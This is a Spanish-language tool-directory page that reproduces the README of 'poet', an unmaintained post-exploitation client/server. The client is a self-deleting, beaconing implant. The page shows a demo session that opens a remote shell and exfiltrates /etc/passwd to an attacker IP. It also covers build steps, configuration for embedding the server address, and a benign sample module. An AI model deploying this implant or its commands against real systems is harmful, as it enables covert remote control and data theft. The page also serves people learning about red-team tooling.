Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
Herramientas/GitHubGitHub/offlinemark/poet
ReconocimientoGeneración de PayloadsExfiltración de DatosPost-ExplotaciónComando y ControlRed TeamingHerramienta de Acceso Remoto
GitHubofflinemark/poet

poet

[sin mantenimiento] Herramienta de post-explotación

Ver Repositorio
18150hace 10 añosRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
poet — [sin mantenimiento] Herramienta de post-explotación | Kitploit

poet

Una herramienta simple de post-explotación.

Resumen

El programa cliente se ejecuta en la máquina objetivo y está configurado con una dirección IP (el servidor) a la que conectarse y una frecuencia de conexión. Si el servidor no se está ejecutando cuando el cliente intenta conectarse, el cliente espera silenciosamente y vuelve a intentarlo en el siguiente intervalo. Si el servidor está ejecutándose, sin embargo, el atacante obtiene un shell de control para manejar el cliente y realizar varias acciones en el objetivo, incluyendo:

  • reconocimiento
  • shell remoto
  • exfiltración de archivos
  • descargar y ejecutar
  • autodestrucción

Demostración

Esto es solo una pequeña muestra de lo que Poet puede hacer.

El escenario es: un atacante ha obtenido acceso a la máquina de la víctima y ha descargado y ejecutado el cliente. En ese momento no tiene el servidor en ejecución, pero no importa, el cliente espera pacientemente. Finalmente el atacante está listo e inicia el servidor, primero arranca un shell y ejecuta uname -a, luego extrae /etc/passwd. Después sale y se desconecta del cliente, que continúa ejecutándose en el objetivo esperando la próxima oportunidad para conectarse al servidor. Más tarde, se conecta de nuevo, autodestruye el cliente, eliminando todos los rastros del objetivo.

Máquina de la Víctima (5.4.3.2):

root@kitploit:~
$ ./poet-client 1.2.3.4 10  # poet-client se convierte en demonio, así que no hay nada que ver

Advertencia: Después de ejecutar este comando, necesitarás ejecutar selfdestruct desde el servidor, o matar el proceso poet-client para detener el cliente.

Máquina del Atacante (1.2.3.4):

root@kitploit:~
$ sudo ./poet-server

                          _
        ____  ____  ___  / /_
       / __ \/ __ \/ _ \/ __/
      / /_/ / /_/ /  __/ /
     / .___/\____/\___/\__/
    /_/

[+] (06/28/15 03:58:42) Dropping privileges to uid: 501, gid: 20
[+] (06/28/15 03:58:42) Poet server started (port 443)
[+] (06/28/15 03:58:50) Connected By: ('127.0.0.1', 54494) -> VALID
[+] (06/28/15 03:58:50) Entering control shell
Welcome to posh, the Poet Shell!
Running `help' will give you a list of supported commands.
posh > help
Commands:
  chint
  dlexec
  exec
  exfil
  exit
  help
  recon
  selfdestruct
  shell
posh > shell
posh > user@server $ uname -a
Linux lolServer 3.8.0-29-generic #42~precise1-Ubuntu SMP Wed May 07 16:19:23 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux
posh > user@server $ ^D
posh > exfil /etc/passwd
posh : exfil written to archive/20150628/exfil/passwd-201506285917.txt
posh > ^D
[+] (06/28/15 03:59:18) Exiting control shell
[-] (06/28/15 03:59:18) Poet server terminated
$ sudo ./poet-server

                          _
        ____  ____  ___  / /_
       / __ \/ __ \/ _ \/ __/
      / /_/ / /_/ /  __/ /
     / .___/\____/\___/\__/
    /_/

[+] (06/28/15 03:59:26) Dropping privileges to uid: 501, gid: 20
[+] (06/28/15 03:59:26) Poet server started (port 443)
[+] (06/28/15 03:59:28) Connected By: ('127.0.0.1', 54542) -> VALID
[+] (06/28/15 03:59:28) Entering control shell
Welcome to posh, the Poet Shell!
Running `help' will give you a list of supported commands.
posh > selfdestruct
[!] WARNING: You are about to permanently remove the client from the target.
    You will immediately lose access to the target. Continue? (y/n) y
[+] (06/28/15 03:59:33) Exiting control shell
[-] (06/28/15 03:59:33) Poet server terminated

Introducción

Ve a la página de lanzamientos y descarga los últimos archivos poet-client y poet-server disponibles.

Luego salta a la sección de Uso más abajo.

Alternativamente, puedes compilar Poet tú mismo (es bastante fácil, ver más abajo).

Compilación

Asegúrate de tener los ejecutables python2.7 y zip disponibles.

root@kitploit:~
$ git clone https://github.com/mossberg/poet
$ cd poet
$ make

Esto creará un directorio bin/ que contiene poet-client y poet-server.

Uso

Poet es muy fácil de usar y no requiere nada más que la biblioteca estándar de Python (2.7). Para probarlo fácilmente, una invocación típica sería:

Terminal 1:

root@kitploit:~
$ ./poet-client 127.0.0.1 1 --debug --no-selfdestruct

Por defecto, el cliente de Poet se convierte en demonio y se elimina a sí mismo del disco, por lo que ese comportamiento se suprime usando las banderas --debug y --no-selfdestruct.

Terminal 2:

root@kitploit:~
$ sudo ./poet-server

Por defecto, el servidor necesita ejecutarse como root (usando sudo) porque el puerto predeterminado al que se vincula es el 443. Si eso te incomoda, simplemente omite sudo y usa la bandera -p <PORT> tanto en el cliente como en el servidor. Elige un número de puerto alto (> 1024).

Configuración

El archivo common/config.py contiene varias configuraciones opcionales para las compilaciones de Poet.

  • AUTH: Token de autenticación secreto compartido entre el cliente y el servidor para la autenticación del cliente. Ten en cuenta que el valor por defecto es cualquier cosa menos secreto. Para cualquier uso que no sea de prueba, se recomienda cambiarlo a otro valor imposible de adivinar. Ten en cuenta que los paquetes precompilados usan el token de autenticación público por defecto.
  • ARCHIVE_DIR: Directorio utilizado por el servidor para almacenar archivos (salida de ejecución, exfiltración, reconocimiento, etc.).
  • SERVER_IP: Dirección IP del servidor.
  • BEACON_INTERVAL: Segundos entre los balizamientos del cliente al servidor.

Las configuraciones SERVER_IP y BEACON_INTERVAL permiten que la información que antes se requería en argumentos de línea de comandos se incluya en los ejecutables finales, de modo que el ejecutable final simplemente se pueda ejecutar sin argumentos. Si se establecen como None, ambas vuelven al comportamiento predeterminado (argumento de línea de comandos requerido para SERVER_IP, argumento de línea de comandos opcional para BEACON_INTERVAL).

Cliente

root@kitploit:~
$ ./poet-client -h
usage: poet-client [-h] [-p PORT] [--debug] [--no-daemon] [--no-selfdestruct]
                   IP [INTERVAL]

positional arguments:
  IP                    Poet Server
  INTERVAL              Beacon Interval, in seconds. Default: 600

optional arguments:
  -h, --help            show this help message and exit
  -p PORT, --port PORT
  --debug               show debug messages. implies --no-daemon
  --no-daemon           don't daemonize
  --no-selfdestruct     don't selfdestruct

Poet es una aplicación cliente/servidor. El cliente se ejecuta en el objetivo y envía balizas al servidor en un intervalo de tiempo determinado. El único argumento obligatorio es la dirección IP donde el servidor está o estará ejecutándose. A continuación, opcionalmente, se puede especificar el intervalo de tiempo en segundos de la frecuencia de balizamiento, cuyo valor predeterminado es 10 minutos. El puerto por el que el cliente enviará balizas se puede especificar con la bandera -p. El resto de banderas no se usarían durante un uso "real" y existen principalmente para depuración.

Servidor

root@kitploit:~
$ ./poet-server -h
usage: poet-server [-h] [-p PORT] [-v]

optional arguments:
  -h, --help            show this help message and exit
  -p PORT, --port PORT
  -v, --version         prints the Poet version number and exits

El servidor se ejecuta en la máquina del usuario y espera balizas del cliente. Por defecto, escucha en un puerto privilegiado (443) y debe ejecutarse con privilegios (que se descartan rápidamente después del enlace). La bandera -p se puede usar para evitar esto seleccionando un puerto no privilegiado para escuchar (>1024).

Extensibilidad

Poet es altamente extensible a través de su marco de módulos; de hecho, casi todos los comandos disponibles en el shell posh se implementan como módulos. Se pueden ver en el directorio common/modules/. El archivo common/modules/template.py sirve como un ejemplo de módulo básico, para ser utilizado como punto de partida. Para agregar un módulo de Poet, simplemente colócalo en el directorio common/modules/ y recompila Poet usando make.

Aquí hay un ejemplo simple de un módulo que muestra la comunicación básica entre el cliente y el servidor. El módulo registra un comando de posh, envía una cadena, el cliente la invierte y la devuelve, y el servidor la imprime.

root@kitploit:~
# Note: this module doesn't check if an argv[1] was given

import module


@module.server_handler('reverse')
def server(server, argv):
    print 'Sending: {}'.format(argv[1])
    # argv here is ['reverse', ...]
    response = server.conn.exchange(' '.join(argv))
    print 'Received: {}'.format(response)


@module.client_handler('reverse')
def client(client, inp):
    # inp here is 'reverse ...'
    client.s.send(inp.split()[1][::-1])

El módulo comienza con

root@kitploit:~
import module

Esto es obligatorio y es necesario para registrarse en el marco de módulos.

La siguiente sección es el componente del lado del servidor del módulo.

root@kitploit:~
@module.server_handler('reverse')
def server(server, argv):
    print 'Sending: {}'.format(argv[1])
    # argv here is ['reverse', ...]
    response = server.conn.exchange(' '.join(argv))
    print 'Received: {}'.format(response)

El decorador @module.server_handler() se usa para registrar un comando de posh pasando el nombre del comando como parámetro del decorador y definiendo una función manejadora que se ejecutará cuando se ejecute el comando. La función manejadora debe aceptar dos parámetros. Uno es la instancia de PoetServer que llamó al módulo, y el otro es la cadena de comando ingresada, representada como una lista de argumentos. La instancia del servidor existe para que el módulo pueda usar funciones auxiliares para comunicarse con el cliente, escribir archivos en el directorio de archivo, etc. El módulo usa server.conn.exchange() para enviar la línea de comando ingresada como cadena al cliente y obtener la respuesta como valor de retorno.

A continuación viene el componente del lado del cliente del módulo.

root@kitploit:~
@module.client_handler('reverse')
def client(client, inp):
    # inp here is 'reverse ...'
    client.s.send(inp.split()[1][::-1])

El decorador @module.client_handler() se usa para registrar una tarea para que el cliente reaccione y la procese. Dado que el cliente y el servidor se comunican pasando cadenas entre ellos, la primera parte de la cadena es la palabra clave para una tarea particular. El módulo registra una función manejadora del cliente para ejecutar cuando llegue un mensaje del servidor que comience con 'reverse'. Similar al manejador del servidor, el manejador del cliente debe aceptar parámetros para la instancia de PoetClient que lo llamó y la cadena de entrada pasada desde el servidor. Luego, el cliente usa la función client.s.send() para enviar datos de vuelta al servidor, en este caso, el primer argumento, invertido.

En acción, esto se ve así:

root@kitploit:~
posh > reverse poet
Sending: poet
Received: teop

Inquietudes

Inquietudes documentadas:

  • falta de comunicaciones protegidas criptográficamente
  • los balizamientos de intervalo bajo son ruidosos y generan RST de TCP cuando el servidor está inactivo
  • el comando shell no es una shell "real" y no soporta la mayoría de los comandos integrados presentes en shells estándar

Descargo de responsabilidad

Estoy construyendo Poet únicamente para mi propia educación y experiencia de aprendizaje. El código está disponible libremente porque creo que podría ser útil para otros interesados en aprender sobre este tipo de cosas. Úsalo de manera responsable.

Descargar herramienta